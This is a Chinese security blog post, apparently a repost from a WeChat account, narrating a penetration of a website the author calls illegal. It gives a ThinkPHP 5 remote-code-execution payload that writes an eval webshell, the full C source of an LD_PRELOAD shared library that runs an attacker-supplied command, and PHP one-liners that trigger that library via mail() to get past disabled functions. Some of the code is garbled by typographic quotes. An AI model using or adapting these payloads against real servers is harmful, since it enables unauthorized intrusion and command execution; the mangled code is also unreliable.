记一次艰难的非法网站渗透

admin 2021年11月17日23:32:17评论155 views字数 2944阅读9分48秒阅读模式


这是F12sec的第61篇原创 


申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:本文章投稿来自M78安全团队的花童师傅。花童yyds!!!

1.前言

首先要感谢mucn巨佬提供的鼎力相助

实战 | 记一次非法站点的艰难渗透

目标站:www.xxxx.xxxx

实战 | 记一次非法站点的艰难渗透

2.漏洞实例

这里注入什么的就不用说了,没什么用,我也不发那种拖沓的过程截图了

随手一个admin出现后台 (和若依真像)

实战 | 记一次非法站点的艰难渗透


账号密码admin/1234 进去后 基本没有什么功能

发现没什么用

不过暴露了一个信息 tp建的

记一次艰难的非法网站渗透

tp 直接拿一波exp打一下 不就完了 (感觉太顺利了就有鬼)

记一次艰难的非法网站渗透

然后命令执行 好家伙 IP无了

记一次艰难的非法网站渗透

看来需要手动一波 这里推荐下mucn哥哥的分享

https://github.com/mulcl/S_mucn/blob/main/RCE/Thinkphp5_RCE.md

这里首先测试一波phpinfo

好的没什么问题

记一次艰难的非法网站渗透

写一波马

?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=136.php&vars[1][1]=<?=eval($_REQUEST[HT]);?>


写入正常(不可能这么顺利吧)

记一次艰难的非法网站渗透

顺手看看是否禁用了一些函数 我努力保持微笑 心想(蚁剑有插件 蚁剑有插件)

记一次艰难的非法网站渗透

(注:哥斯拉和冰蝎全部阵亡 貌似就普通一句话还能打,所以这里用了蚁剑)

用了冰蝎后出现

两者都是一样的效果 如下:

记一次艰难的非法网站渗透

接下来看到这些绿框框我就《放心》了:

记一次艰难的非法网站渗透

再即将开始操作的时候

蚁老师?发生什么事了

记一次艰难的非法网站渗透

看到红框大事不妙 返回web页面刷新一波 我tm又无了

记一次艰难的非法网站渗透

完蛋 这里触及到知识盲区了 没办法 我就是这么菜 要去请教一下巨佬了通过mucn哥哥分享的一处知识链接 去看了下

https://blog.csdn.net/qq_41107295/article/details/98462891?ivk_sa=1024320u

记一次艰难的非法网站渗透

原理:php不允许命令执行,但php可以通过LD_PRELOAD这个东西调用so文件,然后可以通过mile或error_log函数触发执行so文件。所以so文件里可以写一些命令执行的内容,那么此时也就不是php执行命令了,而是so文件执行的系统命令。

这里我vps启动下访问

记一次艰难的非法网站渗透

这里往目录里写个写个TXT测试目标主机是不是可以出网。

记一次艰难的非法网站渗透

可以看见成功输出了我写入的文本

记一次艰难的非法网站渗透

利用网上大佬写的动态调用c脚本



脚本如下:

#define _GNU_SOURCE

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)

{

  // get command line options and arg

   const char* cmdline = getenv("EVIL_CMDLINE");

  // unset environment variable LD_PRELOAD.

  // unsetenv("LD_PRELOAD") no effect on some

  // distribution (e.g., centos), I need crafty trick.

   int i;

   for (i = 0; environ[i]; ++i) {

           if (strstr(environ[i]"LD_PRELOAD")) {

                   environ[i][0] = '';

           }

   }

  // executive command

   system(cmdline);

}

编译一波

把编译好的.so上传到vps里。

这里我是挂了代理复活后直接又用一次操作机会将so上传至网站目录内

网上的脚本:

<?php$cmd=$_GET[“cmd”];$out_path=$_GET[“outpath”];$evil_cmdline=$cmd.”>”.$out_path.”2>&1″;echo“<p<b>cmdline</b>:”.$evil_cmdline.“</p>”;putenv(“EVIL_CMDLINE=”$evil_cmdline);$so_path=$_GET[“sopath”];putenv(“LD_PRELOAD=”.$so_path);mail(“message”,“”,“”,“”);echo“<p><b>output</b>:<br/>”.nl2br(file_get_contents($out_path)).“</p>

修改简化下脚本直接用在一句话木马上:

<?php$cmd = “uname -a”;

#表示执行的命令

$out_path = “/tmp/by”;

#so文件接收到执行命令执行后输出到这个文件里(最基本就是得有写入权限,如果没有可能还得修改c源码)

$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;

#传递参数值

putenv(“EVIL_CMDLINE=”.$evil_cmdline);

$so_path=“/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;

#so文件路径,一定要对

putenv(“LD_PRELOAD=” . $so_path);

#调用so文件

mail(“message”, “”, “”, “”);

#通过mile函数触发这个so文件并且执行echo “output: “

最后把这些函数给写成一行也就可以直接网页执行了。Paylaod:

HT=$cmd=“whoami”;$out_path=“/tmp/by”;$evil_cmdline=$cmd.”>”.$out_path.”2>%261″;putenv(“EVIL_CMDLINE=”.$evil_cmdline);$so_path=“/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;putenv(“LD_PRELOAD=”$so_path);mail(“message”,“”,“”,“”);echo“output:” . file_get_contents($out_path);unlink($out_path);

成功命令执行:

记一次艰难的非法网站渗透

——————————————————————————
  • 往期精彩推荐

❤️爱心三连击

1.关注公众号「F12sec」

2.本文已收录在F12sec官方网站:http://www.0dayhack.net/

3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。

记一次艰难的非法网站渗透
记一次艰难的非法网站渗透


公众号:F12sec

QQ群:884338047

官方网站:http://www.0dayhack.net/

这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入F12sec,和师傅们一起开心的挖洞~

        关注和转发是莫大鼓励❤️




本文始发于微信公众号(F12sec):实战 | 记一次非法站点的艰难渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月17日23:32:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次艰难的非法网站渗透https://cn-sec.com/archives/412357.html

发表评论

匿名网友 填写信息